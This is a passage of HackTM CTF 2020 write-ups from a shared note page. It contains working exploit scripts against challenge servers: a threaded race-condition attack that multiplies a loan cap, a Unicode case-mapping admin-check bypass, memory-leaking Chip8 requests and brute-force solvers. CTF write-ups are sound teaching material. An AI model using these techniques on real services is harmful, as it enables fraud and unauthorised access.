__int16)prng() % i; old = (char)data[i]; data[i] = data[r]; data[r] = old; } for ( j = 0; ; j += n ) { ok = 0; if ( j < len ) { n = send(s, &data[j], len - j, 0); if ( n != -1 ) ok = 1; } if ( !ok ) break; } if ( n == -1 ) exit(0); recv(s, &byte, 1, 0); Sleep(10u); return closesocket(s); } ``` prng: ```C unsigned int prng() { SEED = 0x47FC96 + 48192 * SEED; SEED ^= (unsigned int)SEED >> 7; SEED ^= SEED << 17; SEED ^= 77 * SEED; return SEED / 1234u; } ``` With this information it's trivial to reconstruct the original frames from the pcap streams which show the flag printed on a piece of paper. ```python from PIL import Image import struct import sys def prng(): global SEED SEED = (4717718 + 48192 * SEED) & 0xffffffff SEED ^= SEED >> 7 SEED ^= SEED << 17 SEED ^= 77 * SEED SEED &= 0xffffffff return (SEED / 1234) & 0xffff def decrypt(key, data, out): global SEED L = 14400 SEED = key rng = [x for x in range(1, L)][::-1] shuffs = [prng() % i for i in rng][::-1] for i in range(1, L): r = shuffs[i - 1] data[i], data[r] = data[r], data[i] img = Image.new('L', (160, 90)) pixels = img.load() for h in range(90): for w in range(160): pixels[w, h] = data[160 * h + w] img.save(out) stream = open('stream.bin').read() key, data = struct.unpack('<I', stream[:4])[0], bytearray(stream[4:]) decrypt(key, data, 'output.png') ``` ### baby bear The binary takes a 16-byte input and transforms it to a 46-bit string. If the resulting string matches the one generated by the binary, it prints the flag. Instead of REing the obfuscated control flow we took a shortcut and approached this challange as a black box. We noticed that changing one input byte only affects a few consecutive output bits. We can use this to bruteforce the input byte-by-byte. ```python from pwn import * context.log_level = 'error' def get(x): # socat tcp-l:1337,reuseaddr,fork exec:./baby_bear s = remote('localhost', 1337) s.sendlineafter('? ', x) r = s.recvline().strip() s.close() return r def strdiff(a, b): for i in range(len(a)): if a[i] != b[i]: break return i def bruteforce(t): s = ['\x00'] * 16 for i in range(16): sc, sd = (0, 0) for c in range(256): s[i] = chr(c) d = strdiff(get(''.join(s)), t) if d > sd: sc = c sd = d s[i] = chr(sc) print 's[{}] = {}'.format(i, hex(sc)) return ''.join(s) s = remote('138.68.67.161', 20005) s.recvuntil('says: ') target = s.recvline().strip() print 'target = {}'.format(target) source = bruteforce(target) s.sendafter('? ', source) s.interactive() ``` ### hackdex 1. patch the binary to bypass version number check. 2. find out we need to input 6 words and we know the sha256 hash. As the hint says, we need to pass the word game. 3. solve the word game and bruteforce with sha256 `LEARNING FUN FRIEND TEAM OVERCOMING PASSION` 4. input the 6 words and get the flag. > HackTM{wh4t_4_cur10us_pow3r_w0rds_h4v3} ## web ### mybank So the goal of the task was clear, to get 1337 btc in out account. The problem was that we only have ability to loan 600 btc. Some possible attacks could be: * XML injection (of content type xml is available) * Race condition > So changing the content type didn't work. Now , time to test race condition. So next,I quickly wrote the following script and ran it. It tries to take 100 btc loan from server in multi thread. On visiting my user page i was greeted with 1500 btc in my account.I simply went to purchase page and bought the flag. ```python import threading import requests def req(amount, csrf="IjA1MTk1ZjAzZWJmZTQ4YTE4OTc1NTdjM2UyNjdmMDI3MGU3NWFkOWEi.XjbIBA.oarDpyfsBinZ7v3O1TAMbPSjtWs"): site = "http://178.128.175.6:50090/" r = requests.post(site, {"csrf_token" : csrf, "loan":amount}, cookies={"session":".eJwNy00KhDAMBtC7ZD2FtPVrGi8jVRMYBkbwZyXe3b79u2k5dp_O7Wd_GokRFc7ZZrehtlhVAFmypSLOSdgEbdVGH7qu79oHco2M6qGUpmEAc1DLMaAwLPUHGD0v7K4biQ.XjbIBA.V48TChIcBrt1PEuo_kfj8s3Ukio"}) print(r.text) t=[ threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), threading.Thread(target=req, args=(100,)), ] for i in t: i.start() for i in t: i.join() ``` ### Draw with us After initial source code reviewing, I realized that the goal is to make `req.user.id == 0` Digging into all functions, I constucted a chain to archive that which make sense to me :)) - First bypass the check `isAdmin` in `/updateUser` so we can use it to add new right to our user. - Next bypass the check `checkRights` so we can add `p` and `n` to our user's rights so we can leak them using `/serverInfo` - Finally use `/init` to get token with `id = 0` In the first step, i noticed that the check when we register and in `isAdmin` is while different. Specifically, `isAdmin` use `toLowerCase` but `isValidUser` use `toUpperCase` So I think there might be some trick with `toUpperCase` and `toLowerCase`. May be something about Unicode. So I used this script to find character that can be leveraged to bypass. And I found the `\u212a` character ```js for (let i=0; i < 100000; ++i){ const c = String.fromCodePoint(i) if (c.toLowerCase() == 'k' && c.toUpperCase() !== 'K'){ console.log(`${i} - "${c}"`) } } ``` Login with `{"username":"hac\u212atm"}` give me the ability to use `/updateUser` to perform the next step. I stucked at this point for about 2 hours, kept searching for something useful. And I came across an example on `MDN web docs` that bring me an idea of using some object that when be converted it will be `'p'` and `'n'`. Keep in mind that we can pass some data structure like int, bool, array... when using JSON request. After some tries, it succesfully work with `['p']`. I submited this to `/updateUser` ``` {"rights":[["p"],["n"]]} ``` And visiting `/serverInfo` give me `n` and `p` value. Which are: ``` p = 192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617 n = 54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979 ``` So now we just have to find `q` which equal `n/p`. Using sage I found its value: ``` q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987 ``` Submit `p` and `q` to `/init` and I got the token with `id = 0`. And using that token to request `/flag` give me the flag. References that I used to solve the challenge: - [https://blog.yeswehack.com/2019/04/01/solution-for-a-weird-xss-case/](https://blog.yeswehack.com/2019/04/01/solution-for-a-weird-xss-case/) - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors) ## misc ### The dragon sleeps at night We can input negative itegers which will cause our sword level to rise while in storage. 1. Use this to upgrade our sword to level 6. 2. Work until midnight so that the dragon is asleep. 3. Go to the cave to kill the dragon and get the flag. ### Chip8_1 ``` import requests headers = { 'Connection': 'keep-alive', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Accept': 'application/json, text/plain, */*', 'Content-Type': 'application/json;charset=UTF-8', 'Origin': 'http://167.172.165.153:60003', 'Referer': 'http://167.172.165.153:60003/', 'Accept-Encoding': 'gzip, deflate', } # First we clear the screen, then we store a value into register 0 using 60NN, then use register 0 to set I with F029. # D115 is then issued to draw the data 5 bytes at a time # So we programatically send POST requests and parse the response to obtain the flag. for c in range(16,40): loc = format(c,'x').zfill(2) data = '{"code":"00E0\\n60' data += loc data +='\\nF029\\nd115"}' response = requests.post('http://167.172.165.153:60002/', headers=headers, data=data, verify=False) display = response.json()['data']['display'] for i in range(0,5): bstr = "".join(map(str,display[i][0:8])) hval = hex(int(bstr,2)) try: print(chr(int(hval,16))), except: pass ``` ### Chip8_2 ``` import requests headers = { 'Connection': 'keep-alive', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Accept': 'application/json, text/plain, */*', 'Content-Type': 'application/json;charset=UTF-8', 'Origin': 'http://167.172.165.153:60003', 'Referer': 'http://167.172.165.153:60003/', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9', } # We can set I to the edge of the accessible memory, then utilize the stepping feature to go past the boundary restrictions. # The opcode / data bytes are obtained through looking at the lastInstruction & invalid instruction responses. # This script just gets the lastInstruction values, went back manually to get the invalid instruction values when we had an illegal opcode. ans = "" for c in range(0,100): loc = format(0x1f40+(c*2),'x').zfill(2) #print(loc) data = '{"code":"'+loc+'","step":2}' response = requests.post('http://167.172.165.153:60002/', headers=headers, data=data, verify=False) bdata = response.json()['data']['lastInstruction'] try: ans += chr(int(bdata[0:2],16)) except: pass try: ans += chr(int(bdata[2:4],16)) except: pass print(ans) ``` ### shifty The challenge is about solving a Torus puzzle (https://www.researchgate.net/publication/220654877_How_to_Solve_the_Torus_Puzzle). In our case the columns can only be rotated upwards, and the rows can only be rotated to the left. By googling some possible solutions, one code caught my eye for the ease of understanding and execution speed: https://codegolf.stackexchange.com/questions/172824/rubik-sorting-a-matrix-a-k-a-the-torus-puzzle > Python solution. (Thanks Neil!) Implementing this code to connect to the server provided by the challenge it allows to solve all the levels. > Level 1 Simple matrix 3x3. It just takes a few seconds > Level 2 12x12 Torus. It took forever! (Because I didn't read the hint that said "You can provide a list of comma-separated commands"). Once I read the hint twice, I solved it in a matter of seconds > Level 3 You don't get any feedback at the end of every input. Not an issue, you just need the initial matrix to come up with the list of commands that form the solution > Level 4 A given command will trigger a move in the wrong row / column. In order to solve it, the code needs to understand what row or column every char is connected to. Luckily enough, this is only a 4x4 matrix > Level 5 This was the hardest. No actual way to know what row / column is connected with which character. We simply brute-forced with the code working for the levels 1-4. It took a few hours but hey, if you can't beat it.. bend it :) ### romanian_gibberish This is the first and easiest challenge. Simply read more about Gibberish_language and how it adds noise characters to normal words to create some sort of obfuscation (Farfallino alphabet anybody?? :)) Removing the Gibberish characters from HapackTM{Wepelcopomepe_Topo_HAPACKTMCTF_2020!} gives you the flag. ## osint ### OLD Times > Step 1 Find the Twitter account associated to the name Vlaicu Petronel: https://twitter.com/PetronelVlaicu > Step 2 Find the deleted tweets using **Wayback Machine** 1. 1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20 2. I love GoogleS > Step 3 Discover the Google Docs Document: https://docs.google.com/document/d/1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20 > Step 4 Discover the Github User: **E4gl3OfFr3ed0m** and the deleted file: **spread_locations.php** along with a secret url hidden within the README.md file: **http://138.68.67.161:55555/** > Step 5 Get all 129 Coordinates > Step 6 Plot all 129 Coordinates on the map > Step 7 Get flag: **HackTM{HARDTIMES}** ## forensics ### rr Set up both images as loop devices. On Ubuntu this will cause `mdadm` to automatically assemble a RAID array which you can then mount to get the flag. ``` root@me:~# losetup -o 1048576 $(losetup -f) 1.img root@me:~# losetup -o 1048576 $(losetup -f) 3.img root@me:~# ls -la /dev/md total 0 drwxr-xr-x 2 root root 60 Feb 4 22:43 . drwxr-xr-x 18 root root 3280 Feb 4 22:43 .. lrwxrwxrwx 1 root root 8 Feb 4 22:43 ubuntu:0 -> ../md127 root@me:~# mount /dev/md/ubuntu:0 /mnt root@me:~# ls -la /mnt total 699772 drwxr-xr-x 3 root root 4096 Jan 31 20:54 . drwxr-xr-x 18 root root 4096 Dec 18 19:57 .. -rw-r--r-- 1 root root 90402 Jan 31 20:54 Flag.jpg drwx------ 2 root root 16384 Jan 31 20:44 lost+found -r-------- 1 root root 716441107 Jan 31 20:52 realhuman_phill.txt ``` ### Strange PCAP This is just a PCAP file when i open with wireshark i seen only a USB packets.Then i just search for the leftoverdata. ``` root@whoami:/tmp/d# tshark -r Strange.pcapng -Y "((usb.capdata)&& (frame.len == 35))" 1332 37.973585 1.15.1 → host USB 35 0000240000000000 URB_INTERRUPT in 1339 37.997791 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1345 38.645921 1.15.1 → host USB 35 0000190000000000 URB_INTERRUPT in 1347 38.737929 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1353 39.429649 1.15.1 → host USB 35 00000a0000000000 URB_INTERRUPT in 1355 39.509595 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1357 40.393950 1.15.1 → host USB 35 00000d0000000000 URB_INTERRUPT in 1363 40.477555 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1369 42.161608 1.15.1 → host USB 35 0000210000000000 URB_INTERRUPT in 1371 42.241928 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1377 42.769943 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1379 43.041885 1.15.1 → host USB 35 0200160000000000 URB_INTERRUPT in 1381 43.173584 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1387 43.709602 1.15.1 → host USB 35 0200160000000000 URB_INTERRUPT in 1389 43.833597 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1391 43.865604 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1397 44.721827 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1399 45.201908 1.15.1 → host USB 35 20000f0000000000 URB_INTERRUPT in 1401 45.385837 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1411 46.873943 1.15.1 → host USB 35 0000260000000000 URB_INTERRUPT in 1413 46.961601 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1419 47.945914 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1425 49.105946 1.15.1 → host USB 35 2000110000000000 URB_INTERRUPT in 1427 49.237972 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1429 49.273937 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1439 50.681608 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1441 51.169930 1.15.1 → host USB 35 20000b0000000000 URB_INTERRUPT in 1443 51.289567 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1445 51.377598 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1451 51.665592 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1453 52.161917 1.15.1 → host USB 35 2000190000000000 URB_INTERRUPT in 1455 52.305610 1.15.1 → host USB 35 2000000000000000 URB_INTERRUPT in 1457 52.321592 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1463 53.281849 1.15.1 → host USB 35 0000180000000000 URB_INTERRUPT in 1465 53.353902 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1471 53.833929 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1473 54.417598 1.15.1 → host USB 35 02000e0000000000 URB_INTERRUPT in 1479 54.505567 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1481 54.809612 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1487 55.745945 1.15.1 → host USB 35 0000270000000000 URB_INTERRUPT in 1489 55.825596 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1491 56.137610 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1497 56.521610 1.15.1 → host USB 35 0200070000000000 URB_INTERRUPT in 1499 56.601863 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1501 56.817946 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1507 58.121930 1.15.1 → host USB 35 0000230000000000 URB_INTERRUPT in 1509 58.217802 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1515 58.841556 1.15.1 → host USB 35 0000070000000000 URB_INTERRUPT in 1517 58.929549 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1523 59.665864 1.15.1 → host USB 35 0000200000000000 URB_INTERRUPT in 1525 59.761612 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1527 60.049891 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1533 60.449831 1.15.1 → host USB 35 0200090000000000 URB_INTERRUPT in 1535 60.529594 1.15.1 → host USB 35 0200000000000000 URB_INTERRUPT in 1537 60.705599 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in 1543 62.409857 1.15.1 → host USB 35 0000280000000000 URB_INTERRUPT in 1549 62.529591 1.15.1 → host USB 35 0000000000000000 URB_INTERRUPT in ``` I used usb key decrypt script to decode this leftoverdata. here is the script. ``` #!/usr/bin/python # coding: utf-8 from __future__ import print_function import sys,os #declare -A lcasekey lcasekey = {} #declare -A ucasekey ucasekey = {} #associate USB HID scan codes with keys #ex: key 4 can be both "a" and "A", depending on if SHIFT is held down lcasekey[4]="a"; ucasekey[4]="A" lcasekey[5]="b"; ucasekey[5]="B" lcasekey[6]="c"; ucasekey[6]="C" lcasekey[7]="d"; ucasekey[7]="D" lcasekey[8]="e"; ucasekey[8]="E" lcasekey[9]="f"; ucasekey[9]="F" lcasekey[10]="g"; ucasekey[10]="G" lcasekey[11]="h"; ucasekey[11]="H" lcasekey[12]="i"; ucasekey[12]="I" lcasekey[13]="j"; ucasekey[13]="J" lcasekey[14]="k"; ucasekey[14]="K" lcasekey[15]="l"; ucasekey[15]="L" lcasekey[16]="m"; ucasekey[16]="M" lcasekey[17]="n"; ucasekey[17]="N" lcasekey[18]="o"; ucasekey[18]="O" lcasekey[19]="p"; ucasekey[19]="P" lcasekey[20]="q"; ucasekey[20]="Q" lcasekey[21]="r"; ucasekey[21]="R" lcasekey[22]="s"; ucasekey[22]="S" lcasekey[23]="t"; ucasekey[23]="T" lcasekey[24]="u"; ucasekey[24]="U" lcasekey[25]="v"; ucasekey[25]="V" lcasekey[26]="w"; ucasekey[26]="W" lcasekey[27]="x"; ucasekey[27]="X" lcasekey[28]="y"; ucasekey[28]="Y" lcasekey[29]="z"; ucasekey[29]="Z" lcasekey[30]="1"; ucasekey[30]="!" lcasekey[31]="2"; ucasekey[31]="@" lcasekey[32]="3"; ucasekey[32]="#" lcasekey[33]="4"; ucasekey[33]="$" lcasekey[34]="5"; ucasekey[34]="%" lcasekey[35]="6"; ucasekey[35]="^" lcasekey[36]="7"; ucasekey[36]="&" lcasekey[37]="8"; ucasekey[37]="*" lcasekey[38]="9"; ucasekey[38]="(" lcasekey[39]="0"; ucasekey[39]=")" lcasekey[40]="Enter"; ucasekey[40]="Enter" lcasekey[41]="esc"; ucasekey[41]="esc" lcasekey[42]="del"; ucasekey[42]="del" lcasekey[43]="tab"; ucasekey[43]="tab" lcasekey[44]="space"; ucasekey[44]="space" lcasekey[45]="-"; ucasekey[45]="_" lcasekey[46]="="; ucasekey[46]="+" lcasekey[47]="["; ucasekey[47]="{" lcasekey[48]="]"; ucasekey[48]="}" lcasekey[49]="\\"; ucasekey[49]="|" lcasekey[50]=" "; ucasekey[50]=" " lcasekey[51]=";"; ucasekey[51]=":" lcasekey[52]="'"; ucasekey[52]="\"" lcasekey[53]="`"; ucasekey[53]="~" lcasekey[54]=","; ucasekey[54]="<" lcasekey[55]="."; ucasekey[55]=">" lcasekey[56]="/"; ucasekey[56]="?" lcasekey[57]="CapsLock"; ucasekey[57]="CapsLock" lcasekey[79]="RightArrow"; ucasekey[79]="RightArrow" lcasekey[80]="LeftArrow"; ucasekey[80]="LeftArrow" lcasekey[84]="/"; ucasekey[84]="/" lcasekey[85]="*"; ucasekey[85]="*" lcasekey[86]="-"; ucasekey[86]="-" lcasekey[87]="+"; ucasekey[87]="+" lcasekey[88]="Enter"; ucasekey[88]="Enter" lcasekey[89]="1"; ucasekey[89]="1" lcasekey[90]="2"; ucasekey[90]="2" lcasekey[91]="3"; ucasekey[91]="3" lcasekey[92]="4"; ucasekey[92]="4" lcasekey[93]="5"; ucasekey[93]="5" lcasekey[94]="6"; ucasekey[94]="6" lcasekey[95]="7"; ucasekey[95]="7" lcasekey[96]="8"; ucasekey[96]="8" lcasekey[97]="9"; ucasekey[97]="9" lcasekey[98]="0"; ucasekey[98]="0" lcasekey[99]="."; ucasekey[99]="." #make sure filename to open has been provided if len(sys.argv) == 2: keycodes = open(sys.argv[1]) for line in keycodes: #dump line to bytearray bytesArray = bytearray.fromhex(line.strip()) #see if we have a key code val = int(bytesArray[2]) if val > 3 and val < 100: #see if left shift or right shift was held down if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 : print(ucasekey[int(bytesArray[2])], end=''), #single line output #print(ucasekey[int(bytesArray[2])]) #newline output else: print(lcasekey[int(bytesArray[2])], end=''), #single line output #print(lcasekey[int(bytesArray[2])]) #newline output else: print("USAGE: python %s [filename]" % os.path.basename(__file__)) ``` After Decrypting i GOT this: 7vgj4SSL9NHVuK0D6d3F Its looks like a key or password, Then i used binwalk find something ``` root@whoami:/tmp/d# binwalk Strange.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 8020775 0x7A6327 Zip archive data, encrypted at least v2.0 to extract, compressed size: 77, uncompressed size: 72, name: Flag.txt 8020980 0x7A63F4 End of Zip archive, footer length: 22 ``` There is one zip file inside the pcap file i used binwalk -e Strange.pcapng to get the zip file The zip file asking the password, I used that password as we got from usb decrypt 7vgj4SSL9NHVuK0D6d3F I got the Flag.txt from the zip file:HackTM{88f1005c6b308c2713993af1218d8ad2ffaf3eb927a3f73dad3654dc1d00d4ae}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully